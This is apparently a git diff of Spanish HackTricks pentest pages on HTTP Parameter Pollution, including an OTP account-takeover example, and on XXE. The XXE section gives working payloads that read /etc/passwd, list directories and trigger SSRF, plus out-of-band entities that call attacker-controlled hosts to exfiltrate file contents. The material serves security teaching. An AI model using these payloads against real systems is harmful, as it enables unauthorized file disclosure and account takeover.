Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,86 +2,71 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
**Copiado de** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) # Visión General de la Contaminación de Parámetros HTTP (HPP)
**Resumen:** La Contaminación de Parámetros HTTP (HPP) es una técnica de ataque que implica la manipulación de parámetros HTTP para alterar el comportamiento esperado de una aplicación web. Este tipo de ataque es relativamente sencillo pero puede ser sorprendentemente efectivo. Aunque la manipulación de parámetros ocurre en el lado del servidor y no es visible para el usuario, los cambios de comportamiento resultantes pueden ser observados en el lado del cliente.
La Contaminación de Parámetros HTTP (HPP) significa contaminar los parámetros HTTP de una aplicación web para lograr una tarea maliciosa específica. Se refiere a manipular cómo un sitio web trata los parámetros que recibe durante las solicitudes HTTP. Cambia el comportamiento de un sitio web de su intención original. La contaminación de parámetros HTTP es un tipo de ataque simple pero efectivo. ## Ejemplo de Contaminación de Parámetros HTTP (HPP)
Cuando contaminas cualquier parámetro, el código solo se ejecuta en el lado del servidor, que es invisible para nosotros, pero podemos ver los resultados en nuestra pantalla. El proceso intermedio es una caja negra. Considera una URL estándar de transacción para una aplicación bancaria:
Por ejemplo, hay una URL https://www.anybank.com/send que tiene tres parámetros: **URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
1. from: Esta URL inicia una transacción de 10,000 desde la cuentaA a la cuentaB. Sin embargo, introducir otro parámetro `from` de la siguiente manera:
2. to:
3. amount:
**URL: https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000** **URL Manipulada:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
Ahora esta es una URL normal que procederá una transacción de 10000 de accountA a accountB pero ¿qué pasa si agregamos otro parámetro igual **“from:”**? podría resultar en que la transacción se descuente de la cuentaC en lugar de la cuentaA. Esto ejemplifica cómo se puede utilizar HPP para manipular parámetros. Es importante destacar que esta vulnerabilidad no se limita a las solicitudes GET, sino que también puede ser explotada en solicitudes POST en diversas funcionalidades como cambios de contraseña, autenticación de dos factores o transmisiones de claves API.
Entonces la URL será como **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC** Es importante reconocer que el análisis de parámetros depende de la tecnología web específica utilizada. Herramientas como [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) pueden ser utilizadas para identificar tecnologías web y comprender sus comportamientos de análisis de parámetros.
Cuando esta URL proceda una transacción de 10000, se deducirá de accountC en lugar de accountA. Así es como manipulas los parámetros en un ataque de **Contaminación de Parámetros HTTP**. Aunque el alcance de esta vulnerabilidad no se limita solo a solicitudes **GET**, también puedes realizar este ataque en una solicitud basada en **POST**. Puedes probar esta vulnerabilidad en muchos lugares como cambio de contraseña, 2FA, comentarios, subida de foto de perfil, en un parámetro donde se pasa la clave API, OTP, etc. ## PHP
Cuando manipulas cualquier parámetro, su manipulación depende de cómo cada tecnología web está analizando sus parámetros. Puedes identificar tecnologías web usando “[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)”. A continuación se muestra la captura de pantalla de algunas tecnologías y su análisis de parámetros. Tecnologías y su análisis de parámetros Un ejemplo notable de explotación de HPP involucró los siguientes pasos:
![Imagen para el post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg) 1. **Manipulación de OTP:**
- Se tenía como objetivo una página de inicio de sesión que solicitaba un OTP.
- Después de enviar una solicitud de OTP, la solicitud HTTP subsiguiente fue interceptada utilizando Burp Suite.
- Se agregó otro correo electrónico a la solicitud, duplicando efectivamente el parámetro `email`.
- El OTP destinado al primer correo electrónico fue enviado por error al segundo correo electrónico, permitiendo el acceso no autorizado a la primera cuenta.
Me gustaría compartir uno de mis hallazgos de HPP donde pude tomar control de una cuenta usando esta vulnerabilidad. Este incidente destaca cómo el backend de la aplicación procesaba los parámetros `email`, utilizando el primero para la generación de OTP y el segundo para la entrega de OTP.
**¿Cómo encontré esta vulnerabilidad?** # Análisis de Parámetros en Flask y PHP
1. Fui a una página de inicio de sesión de ese programa, pidió un OTP para iniciar sesión Diferentes tecnologías web analizan los parámetros de manera única. Por ejemplo, con una consulta como `a=1&a=2`, Flask y PHP interpretarán el parámetro de manera diferente:
Enviar OTP - **Flask:** Toma la primera ocurrencia (a=1).
- **PHP (en el Servidor HTTP Apache):** Toma la última ocurrencia (a=2).
![Imagen para el post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg) Esta diferencia en el manejo de parámetros puede impactar significativamente en el comportamiento de la aplicación y en la vulnerabilidad a ataques de HPP. Se pueden encontrar más detalles al respecto en [este artículo](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution).
2\. Escribí un correo electrónico y hice clic en "Enviar Contraseña de Un Solo Uso" # Referencias
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
3\. Intercepté la solicitud usando burp suite y agregué otro correo electrónico usando el mismo parámetro (creé dos correos electrónicos para propósitos de prueba) Solicitud de Burp * [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
![Imagen para el post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
4\. Recibí un OTP de shrey……@gmail.com en mi otra cuenta radhika…..@gmail.com OTP
![Imagen para el post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
5\. Copié el OTP y fui a shrey….@gmail.com en la pantalla de inicio de sesión de ese programa, ingresé este OTP y estaba dentro de la cuenta. Toma de Cuenta
![Imagen para el post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
Entonces, lo que sucedió aquí es que la aplicación de back-end tomó el valor del primer parámetro "**email**" para generar un OTP y usó el valor del segundo parámetro "**email**" para suministrar el valor, lo que significa que un OTP de shrey….@gmail.com fue enviado a radhika….@gmail.com.
**NOTA:** Aquí en una imagen en el 4º paso donde recibí un OTP a radhika….@gmail.com estaba confundido porque el mensaje decía Hola Radhika, así que pensé que el parámetro no estaba contaminado y el OTP era para radhika….@gmail.com pero cuando probé el OTP en shrey….@gmail.com funcionó.
## Flask & PHP
En [**este informe**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) puedes ver cómo una consulta HTTP como `a=1&a=2` será interpretada de manera diferente por Flask y PHP ejecutándose en un Apache HTTP Server. En Flask, el parámetro será `1` (primera ocurrencia) mientras que en PHP será `2` (última ocurrencia).
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

File diff suppressed because one or more lines are too long

View file

@ -1,88 +1,69 @@
# XXE - XEE - Entidad Externa XML # XXE - XEE - XML External Entity
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
Un ataque de Entidad Externa XML es un tipo de ataque contra una aplicación que analiza entrada XML. Un ataque de Entidad Externa XML es un tipo de ataque contra una aplicación que analiza la entrada XML.
## Conceptos básicos de XML ## Conceptos básicos de XML
**La mayor parte de esta sección fue tomada de esta increíble página de Portswigger:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities) **La mayor parte de esto se basa en esta increíble página de Portswigger:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
### ¿Qué es XML? <a href="#what-is-xml" id="what-is-xml"></a> ### Visión general del Lenguaje de Marcado Extensible <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
XML significa "lenguaje de marcado extensible". XML es un lenguaje diseñado para almacenar y transportar datos. Al igual que HTML, XML utiliza una estructura de árbol de etiquetas y datos. A diferencia de HTML, XML no utiliza etiquetas predefinidas, por lo que las etiquetas pueden tener nombres que describan los datos. Anteriormente en la historia de la web, XML estaba de moda como formato de transporte de datos (la "X" en "AJAX" significa "XML"). Pero su popularidad ha disminuido a favor del formato JSON. El Lenguaje de Marcado Extensible, comúnmente abreviado como XML, se define como un lenguaje de marcado utilizado para el almacenamiento y transporte de datos. Empleando una estructura reminiscente de un árbol, compuesto por etiquetas y datos similares a HTML, XML se distingue por no restringirse a etiquetas predefinidas. Esta flexibilidad permite la utilización de etiquetas nombradas descriptivamente de acuerdo con los datos que encapsulan. Históricamente, XML ganó prominencia como formato para el transporte de datos, notablemente representado por su contribución al acrónimo "AJAX" (donde "X" significa "XML"). Sin embargo, su popularidad ha disminuido, con JSON emergiendo como el formato preferido.
### ¿Qué son las entidades XML? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a> ### Representación de Elementos de Datos en XML a través de Entidades <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
Las entidades XML son una forma de representar un elemento de datos dentro de un documento XML, en lugar de usar los datos mismos. Varias entidades están incorporadas en la especificación del lenguaje XML. Por ejemplo, las entidades `&lt;` y `&gt;` representan los caracteres `<` y `>`. Estos son metacaracteres utilizados para denotar etiquetas XML, y por lo general deben representarse utilizando sus entidades cuando aparecen dentro de los datos. En XML, las entidades sirven como mecanismos para representar elementos de datos dentro de un documento, ofreciendo una alternativa a la inserción directa de datos. La especificación XML incorpora varias entidades integradas. Por ejemplo, `&lt;` y `&gt;` sirven para representar los caracteres `<` y `>`, respectivamente. Dado su papel en delimitar las etiquetas XML, estos metacaracteres a menudo deben representarse utilizando entidades cuando aparecen dentro de los datos.
### ¿Qué son los elementos XML? ### Definición de Elementos XML
Las declaraciones de tipo de elemento establecen las reglas para el tipo y número de elementos que pueden aparecer en un documento XML, qué elementos pueden aparecer dentro de otros y en qué orden deben aparecer. Por ejemplo: Las declaraciones de tipo de elemento son críticas en XML, ya que establecen las pautas para la presencia, tipos y secuenciación de elementos dentro de un documento XML. Ejemplos ilustrativos incluyen:
* `<!ELEMENT stockCheck ANY>` Significa que cualquier objeto podría estar dentro del padre `<stockCheck></stockCheck>` - `<!ELEMENT stockCheck ANY>` indica que el elemento `<stockCheck></stockCheck>` puede contener cualquier tipo de objeto.
* \<!ELEMENT stockCheck EMPTY> Significa que debería estar vacío `<stockCheck></stockCheck>` - `<!ELEMENT stockCheck EMPTY>` dicta que el elemento `<stockCheck></stockCheck>` debe permanecer sin contenido.
* \<!ELEMENT stockCheck (productId,storeId)> Declara que `<stockCheck>` puede tener los hijos `<productId>` y `<storeId>` - `<!ELEMENT stockCheck (productId,storeId)>` especifica que el elemento `<stockCheck>` solo puede contener `<productId>` y `<storeId>` como elementos secundarios.
### ¿Qué es la definición de tipo de documento? <a href="#what-is-document-type-definition" id="what-is-document-type-definition"></a> ### Introducción a la Definición de Tipo de Documento <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
La definición de tipo de documento XML (DTD) contiene declaraciones que pueden definir la estructura de un documento XML, los tipos de valores de datos que puede contener y otros elementos. La DTD se declara dentro del elemento opcional `DOCTYPE` al inicio del documento XML. La DTD puede estar completamente contenida dentro del documento mismo (conocida como "DTD interna") o puede cargarse desde otro lugar (conocida como "DTD externa") o puede ser una combinación de ambas. La Definición de Tipo de Documento (DTD) desempeña un papel fundamental en XML al proporcionar declaraciones que pueden dictar la estructura de un documento XML, los tipos de datos permitidos y más. El elemento `DOCTYPE`, que es opcional y se coloca al principio de un documento XML, puede declarar una DTD. Las DTD pueden clasificarse como "internas" cuando están completamente integradas en un documento, "externas" cuando se cargan desde una fuente externa, o una combinación de ambas.
### ¿Qué son las entidades XML personalizadas? <a href="#what-are-xml-custom-entities" id="what-are-xml-custom-entities"></a> ### Utilización de Entidades Personalizadas en XML <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
XML permite que se definan entidades personalizadas dentro de la DTD. Por ejemplo: XML facilita la definición de entidades personalizadas dentro de una DTD. Una declaración de ejemplo:
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>` `<!DOCTYPE foo [ <!ENTITY myentity "mi valor de entidad" > ]>`
Esta definición significa que cualquier uso de la referencia de entidad `&myentity;` dentro del documento XML será reemplazado con el valor definido: "`my entity value`". Tal declaración indica que la referencia de entidad `&myentity;` dentro del documento se sustituirá por "mi valor de entidad".
### ¿Qué son las entidades externas XML? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a> ### Incorporación de Entidades Externas en XML <a href="#incorporation-of-external-entities-in-xml" id="incorporation-of-external-entities-in-xml"></a>
Las entidades externas XML son un tipo de entidad personalizada cuya definición se encuentra fuera de la DTD donde se declaran. Las entidades externas en XML son un subtipo de entidades personalizadas, caracterizadas por tener sus definiciones externas a la DTD. Estas entidades utilizan la palabra clave `SYSTEM` y requieren una URL que especifique la ubicación desde la cual se recuperará el valor de la entidad, lo que potencialmente permite [ataques de entidad externa XML](https://portswigger.net/web-security/xxe).
La declaración de una entidad externa utiliza la palabra clave `SYSTEM` y debe especificar una URL de la cual se debe cargar el valor de la entidad. Por ejemplo: ### Explotación de Entidades de Parámetro XML para la Detección de XXE
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>` En escenarios donde las entidades estándar son ineficaces para explotar vulnerabilidades de XXE debido a la validación o al endurecimiento del analizador XML, pueden emplearse entidades de parámetro XML. Distinguidas por la inclusión de un carácter de porcentaje precediendo al nombre de la entidad y referenciadas utilizando el mismo carácter, las entidades de parámetro XML se referencian exclusivamente dentro de la DTD. Pueden facilitar la detección ciega de XXE a través de métodos fuera de banda, ejemplificados por la iniciación de una búsqueda DNS y una solicitud HTTP a un dominio controlado por el atacante, confirmando así el éxito de la explotación.
La URL puede usar el protocolo `file://`, y así las entidades externas pueden cargarse desde un archivo. Por ejemplo:
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>` ## Principales ataques
Las entidades externas XML proporcionan el principal medio por el cual surgen los [ataques de entidad externa XML](https://portswigger.net/web-security/xxe). **[La mayoría de estos ataques fueron probados utilizando los increíbles laboratorios XEE de Portswiggers: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
### ¿Qué son las entidades de parámetro XML? ### Prueba de Nueva Entidad
A veces, los ataques XXE utilizando entidades regulares están bloqueados, debido a alguna validación de entrada por parte de la aplicación o algún endurecimiento del analizador XML que se está utilizando. En esta situación, podrías ser capaz de usar entidades de parámetro XML en su lugar. Las entidades de parámetro XML son un tipo especial de entidad XML que solo puede ser referenciada en otro lugar dentro de la DTD. Para los propósitos actuales, solo necesitas saber dos cosas. Primero, la declaración de una entidad de parámetro XML incluye el carácter de porcentaje antes del nombre de la entidad: En este ataque voy a probar si una simple nueva declaración de ENTIDAD está funcionando
`<!ENTITY % myparameterentity "my parameter entity value" >`
Y segundo, las entidades de parámetro se referencian utilizando el carácter de porcentaje en lugar del habitual ampersand: `%myparameterentity;`
Esto significa que puedes probar XXE ciego utilizando detección fuera de banda a través de entidades de parámetro XML de la siguiente manera:
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>`
Esta carga útil XXE declara una entidad de parámetro XML llamada `xxe` y luego usa la entidad dentro de la DTD. Esto provocará una búsqueda DNS y una solicitud HTTP al dominio del atacante, verificando que el ataque fue exitoso.
## Ataques principales
[La mayoría de estos ataques fueron probados utilizando los increíbles laboratorios XEE de Portswiggers: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
### Prueba de nueva entidad
En este ataque voy a probar si una simple declaración de nueva ENTIDAD está funcionando
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]> <!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -93,23 +74,21 @@ En este ataque voy a probar si una simple declaración de nueva ENTIDAD está fu
``` ```
### Leer archivo ### Leer archivo
Intentemos leer `/etc/passwd` de diferentes maneras. Para Windows podrías intentar leer: `C:\windows\system32\drivers\etc\hosts` Intentemos leer `/etc/passwd` de diferentes maneras. Para Windows, podrías intentar leer: `C:\windows\system32\drivers\etc\hosts`
En este primer caso, observa que SYSTEM "_**file:///**etc/passwd_" también funcionará. En este primer caso, ten en cuenta que en SYSTEM "_\*\*file:///\*\*etc/passwd_" también funcionará.
```markup ```markup
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data> <data>&example;</data>
``` ```
![](<../.gitbook/assets/image (221).png>) Este segundo caso debería ser útil para extraer un archivo si el servidor web está utilizando PHP (No es el caso de los laboratorios de Portswiggers)
Este segundo caso debería ser útil para extraer un archivo si el servidor web está utilizando PHP (No es el caso de los laboratorios de Portswigger)
```markup ```markup
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data> <data>&example;</data>
``` ```
En este tercer caso, observe que estamos declarando el `Element stockCheck` como ANY En este tercer caso, notamos que estamos declarando el `Elemento stockCheck` como ANY.
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!DOCTYPE data [
@ -125,7 +104,7 @@ En este tercer caso, observe que estamos declarando el `Element stockCheck` como
### Listado de directorios ### Listado de directorios
En aplicaciones basadas en **Java** podría ser posible **listar los contenidos de un directorio** mediante XXE con un payload como (solicitando el directorio en lugar del archivo): En aplicaciones basadas en **Java**, podría ser posible **listar el contenido de un directorio** a través de XXE con una carga útil como (solo pidiendo el directorio en lugar del archivo):
```markup ```markup
<!-- Root / --> <!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -143,15 +122,15 @@ Un XXE podría ser utilizado para abusar de un SSRF dentro de una nube
``` ```
### SSRF ciego ### SSRF ciego
Utilizando la **técnica comentada anteriormente** puedes hacer que el servidor acceda a un servidor que controlas para demostrar que es vulnerable. Pero, si eso no funciona, quizás sea porque **no se permiten entidades XML**, en ese caso podrías intentar usar **entidades de parámetro XML**: Usando la **técnica comentada anteriormente** puedes hacer que el servidor acceda a un servidor que controlas para mostrar su vulnerabilidad. Pero, si eso no funciona, tal vez sea porque **las entidades XML no están permitidas**, en ese caso podrías intentar usar **entidades de parámetros XML**:
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
### "Blind" SSRF - Exfiltrar datos out-of-band ### "Ciego" SSRF - Exfiltrar datos fuera de la banda
**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con un payload malicioso que enviará el contenido de un archivo vía petición HTTP (para archivos de múltiples líneas podrías intentar exfiltrarlo vía** _**ftp://**_**). Esta explicación fue tomada de** [**Portswiggers lab aquí**](https://portswigger.net/web-security/xxe/blind)**.** **En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con un payload malicioso que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas podrías intentar exfiltrarlo a través de** _**ftp://**_**). Esta explicación fue tomada de** [**los laboratorios de Portswigger aquí**](https://portswigger.net/web-security/xxe/blind)**.**
Un ejemplo de un DTD malicioso para exfiltrar el contenido del archivo `/etc/hostname` es el siguiente: Un ejemplo de un DTD malicioso para exfiltrar el contenido del archivo `/etc/hostname` es el siguiente:
```markup ```markup
@ -160,14 +139,14 @@ Un ejemplo de un DTD malicioso para exfiltrar el contenido del archivo `/etc/hos
%eval; %eval;
%exfiltrate; %exfiltrate;
``` ```
Este DTD realiza los siguientes pasos: Este DTD lleva a cabo los siguientes pasos:
* Define una entidad de parámetro XML llamada `file`, que contiene el contenido del archivo `/etc/passwd`. * Define una entidad de parámetro XML llamada `file`, que contiene el contenido del archivo `/etc/passwd`.
* Define una entidad de parámetro XML llamada `eval`, que contiene una declaración dinámica de otra entidad de parámetro XML llamada `exfiltrate`. La entidad `exfiltrate` será evaluada realizando una solicitud HTTP al servidor web del atacante que contiene el valor de la entidad `file` dentro de la cadena de consulta de la URL. * Define una entidad de parámetro XML llamada `eval`, que contiene una declaración dinámica de otra entidad de parámetro XML llamada `exfiltrate`. La entidad `exfiltrate` será evaluada haciendo una solicitud HTTP al servidor web del atacante que contiene el valor de la entidad `file` dentro de la cadena de consulta de la URL.
* Utiliza la entidad `eval`, lo que provoca que se realice la declaración dinámica de la entidad `exfiltrate`. * Utiliza la entidad `eval`, lo que provoca que se realice la declaración dinámica de la entidad `exfiltrate`.
* Utiliza la entidad `exfiltrate`, de modo que su valor se evalúa al solicitar la URL especificada. * Utiliza la entidad `exfiltrate`, de modo que su valor se evalúa solicitando la URL especificada.
